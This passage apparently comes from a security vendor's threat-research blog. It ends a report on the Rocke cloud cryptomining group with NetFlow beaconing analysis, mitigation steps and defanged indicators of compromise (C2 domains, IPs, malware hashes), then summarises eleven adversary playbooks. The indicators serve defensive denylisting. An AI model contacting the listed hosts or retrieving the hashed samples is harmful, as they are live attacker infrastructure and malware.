Finally, Unit 42 researchers attempted to identify if the initial payload downloaded from Pastebin could be identified with the NetFlow data. Researchers found that a total of 50 organizations made network connections to Pastebin. Of these 50 organizations, eight were found to have made network connections to Pastebin within the same hour as connections to Rocke domains. Since NetFlow traffic only allows for a granularity capability of one hour, and given the lack of full packet capture to confirm the nature of the network connection, it is impossible to positively identify precisely what time an organization was compromised. However, these occurrences point to key timeframes where full packet captures, if available, should be investigated further.

A distinct pattern emerges when viewing how Rocke network traffic appears within NetFlow data (see Figure 2). First, a connection is established with Pastebin, followed by a connection to a Rocke domain. As you can see from the image, the pattern repeats on an hourly basis, which is another indicator of beaconing capabilities and of the presence of the Stage 3 Rocke payload, which is already installed on the cloud system. Additionally, Figure 2 displays the unique occurrence of the source system connecting to Pastebin, then connecting to the known Rocke domains, z9ls[.]com, and systemten[.]org, connecting to the hardcoded IP address 104.238.151[.]101 in the same time frame. This pattern is indicative of a beaconing, or a heartbeat style of activity, which is a capability within the third-stage malware’s feature set.

Figure 2. Unique Rocke NetFlow pattern

Mitigation Strategies

To mitigate Rocke activities within a cloud environment, the following actions are recommended:

Update all cloud system templates with the latest patches and version updates.
Cycle all cloud systems to use the latest patched and updated cloud template.
Purchase and configure a cloud monitoring product that includes checks on compliance, network traffic, and user behavior.
Review cloud network configurations, security policies, and groups to ensure they meet current compliance requirements.
Use a cloud container vulnerability scanner.
Update all threat intelligence feeds providing domain or IP denylisting indicators.
Purchase or subscribe to Palo Alto Networks MineMeld threat feed, or use Palo Alto Networks Next-Generation Firewalls, as these options are configured to block known Rocke domains and IP connections.
Investigate cloud network traffic for connections to known malicious domains or IPs.
Investigate cloud network traffic for beacon-style egress traffic in your organization’s cloud environment.

Conclusion

Rocke, which primarily targets public cloud infrastructure for criminal gain, continues to evolve its tools and take advantage of poorly configured cloud infrastructures using vulnerabilities released in 2016 and 2017. The group can gain administrative access to cloud systems using malware that is able to remain hidden from basic investigations. Compromised systems then perform predictable and detectable network actions to known Rocke hardcoded IP addresses or Rocke-owned domains.

Palo Alto Networks customers are protected as follows:

The C2 domains listed in this blog are identified as malicious by our PAN-DB URL Filtering.
All illegitimate tools uploaded to the webshells are identified as malicious by WildFire and Traps.
ELF and PE format malware signatures have been released via antivirus.
All C2 domains have been covered by PAN-DB URL Filtering.

AutoFocus customers can investigate this activity with the following tags:

Indicators of Compromise

Domains

sowcar[.]com

thyrsi[.]com

w2wz[.]cn

baocangwh[.]cn

z9ls[.]com

gwjyhs[.]com

heheda[.]tk

cloudappconfig[.]com

systemten[.]org

IPs

43.224.225[.]220

67.21.64[.]34

103.52.216[.]35

104.248.53[.]213

104.238.151[.]101

198.204.231[.]250

205.185.122[.]229

Hashes

1608899ff3bd9983df375fd836464500f160f6305fcc35cfb64abbe94643c962

28f92f36883b69e281882f19fec1d89190e913a4e301bfc5d80242b74fcba6fe

a84283095e0c400c3c4fe61283eca6c13dd0a6157a57adf95ae1dcec491ec519

6797018a6f29ce3d447bd3503372f78f9513d4648e5cd3ab5ab194a50c72b9c4

Unveiling 11 New Adversary Playbooks

Posted on July 30, 2019June 7, 2024 by Unit 42

Today, Unit 42 released 11 new Adversary Playbooks as part of our mission to provide actionable threat intelligence. We use Playbooks to organize the tools, techniques, and procedures (TTPs) that an adversary uses into a structured format that can easily be shared and built upon. All of the Playbooks we have released can be accessed through our Playbook Viewer.

Here are brief descriptions of the new Unit 42 Adversary Playbooks:

MuddyWater: In Spring 2019, the group altered its TTPs to evade particular security controls in the BlackWater attack campaign. An espionage campaign previously conflated with FIN7 activity, MuddyWater was first reported by Unit 42 in November 2017.
Scarlet Mimic: Unveiled by Unit 42 in early 2016 and active since at least 2014, this espionage campaign largely targeted Tibetan and Uyghur activists using a suite of custom Windows and Android malware.
Inception: Active since at least 2014, this adversary used custom malware for a variety of platforms to target a range of industries, primarily in Russia, but also around the world. In October 2018 Inception used a new PowerShell backdoor and CVE-2017-11882 in attacks against European targets.
Windshift: In February 2019, Unit 42 shared additional targeting and technical data tied to this espionage group, first reported in October 2018. The group’s targets are primarily located in the Middle East. It is unique in that it only targets OSX systems with custom malware.
Sofacy: Active since at least 2007, this Russian-attributed espionage group persistently attacked government and private organizations around the world from mid-October 2018 through mid-November 2018. The majority of targets were NATO-aligned nation states, although several former USSR nation states were also targeted.
Chafer: Active since at least 2015, the espionage group Chafer in November 2018 targeted a Turkish government entity. While investigating, Unit 42 discovered a new secondary Python-based payload we named MechaFlounder, marking the first time Unit 42 observed this group use a Python-based payload.
Gorgon Group: Unit 42 researchers unveiled this group in August 2018, which performed a litany of attacks and operations around the globe, involving both criminal as well as targeted attacks. It was discovered while monitoring Subaat, an apparent member of Gorgon Group, who Unit 42 started tracking in 2017.
Cobalt Gang: While investigating ongoing commodity attacks by this group in October 2018, Unit 42 identified the use of a common macro builder and specific document metadata that allowed us to track and cluster new activity and infrastructure.
Th3bug: In the summer of 2014, this cyber espionage group, which compromised multiple websites to use in watering hole attacks. Watering hole attacks offer a much better chance of success because they involve compromising legitimate websites and install malware intended to infect website visitors. These often target popular websites frequented by people who work in specific industries or have political sympathies to which the actors want to gain access.
Rocke: In January 2019, Unit 42 revealed that this China-based cybercrime group had added new code to its Linux coin mining malware to uninstalls five different cloud security protection and monitoring products from compromised servers. The products were developed by Tencent Cloud and Alibaba Cloud (Aliyun), the two leading cloud providers in China that are expanding their business globally. This is the first malware family Unit 42 has seen with the unique capability to target and remove cloud security products.
CozyDuke: Active since at least 2008, this Russian-attributed espionage group launched a spear phishing campaign beginning in early July 2015 that leveraged new malware we named MiniDionis. The new malware, which is related to the group’s Seaduke malware, appeared to target government organizations and think-tanks located in democratic countries, and utilized compromised, legitimate websites for spear phishing and C2 activity.

All Adversary Playbooks can be viewed here.